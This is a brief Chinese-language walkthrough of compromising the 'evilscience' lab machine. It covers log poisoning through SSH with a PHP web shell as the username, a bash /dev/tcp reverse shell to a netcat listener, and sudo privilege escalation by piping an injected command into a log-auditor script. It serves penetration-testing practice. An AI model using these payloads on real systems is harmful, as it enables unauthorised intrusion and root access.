evilscience靶机

1.信息收集

开启了ssh服务和web服务

访问80端口

wappalzer指纹识别，操作系统为ubuntu，语言为php

点击about us发现参数进行漏洞测试

目录扫描

burp抓包爆破

/var/log/auth.log 可以读取日志

2.getshell

利用命令执行(物理机上执行，kali不行)

ssh '<?php @system($_GET[cmd]);?>'@192.168.219.133

使用蚁剑连接

3.提权

kali监听

nc -lvvp 9999

终端反弹

bash -c 'bash -i >/dev/tcp/192.168.219.128/9999 0>&1'

python -c 'import pty; pty.spawn ("/bin/bash")'  ##交互式shell

sudo -l

sudo ./xxxlogauditorxxx.py

/var/log/auth.log | whoami